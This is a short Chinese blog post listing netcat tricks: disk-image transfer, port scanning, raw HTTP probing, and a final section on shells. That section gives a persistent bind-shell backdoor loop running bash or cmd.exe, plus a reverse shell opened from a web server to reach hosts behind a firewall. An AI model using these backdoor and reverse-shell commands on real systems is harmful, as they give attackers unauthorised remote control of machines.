一些netcat的用途
还是netcat的话题,发觉这个东东真是太好了…
举例
文件传输
用的最多的恐怕是传输文件,且大多是原始文件,比如Oracle的Raw分区: 假设一台192.168.1.1的机器某硬盘分区dd的东西交给nc来host:
dd if=/dev/hda3 | gzip -9 | netcat -l 7474
另一台机器去取:
netcat 192.168.1.1 7474 | pv -b > hda3.img.gz
端口扫描
这个…居然相当简单…
netcat -vv -w 1 192.168.1.1 1-1024
扫描1到1024端口,每扫描一个端口等待1秒钟,命令输出很清晰… 默认扫描TCP端口,如果指定-u参数还可以扫描UDP端口。
HTTP探测
只要向Web Server发送一定的http请求,就能获得应答: 比如我写几行请求内容, request.txt:
GET / HTTP/1.1 Host: myhost.org Referrer: mysite.com User-Agent: my-browser
把它发给sina:
cat request.txt | netcat www.sina.cn 80
Sina的WebServer应答:
HTTP/1.1 302 Found Date: Fri, 03 Sep 2010 09:01:44 GMT Server: Apache Location: http://3g.sina.com.cn Content-Length: 0 Connection: close Content-Type: text/html
哦,原来Agent不明的请求被转去了3g页面~~
Telnet及监听门
我常常用netcat来作为telnet的自动化客户端。既然能在任意TCP端口监听,那么nc当然也能作为Server端… 这是TCP Server端的监听,顺便起个shell:
netcat -l -p 23 -e /bin/bash -t
客户端:
nc -vvn IP Port
能在任意端口起shell,就意味着可以留后门 :). 不过Server端在客户端断开后会自动退出,所以写进循环里!
while $1; do netcat -l -p 10000 -e /bin/bash; done
Windows可以用goto,一样的循环后门,区别只是要起一个cmd.exe而不是bash…
反而为之,我们对于局域网内的一些防火墙后面机器可以利用同在该往内的WebServer留下条小径:
想要访问的目标机器:
netcat -vv -l -p 80
Web Server:
netcat 目标机器内网ip 80 -e /bin/bash
一样,Windows起cmd.exe…:)

Discussion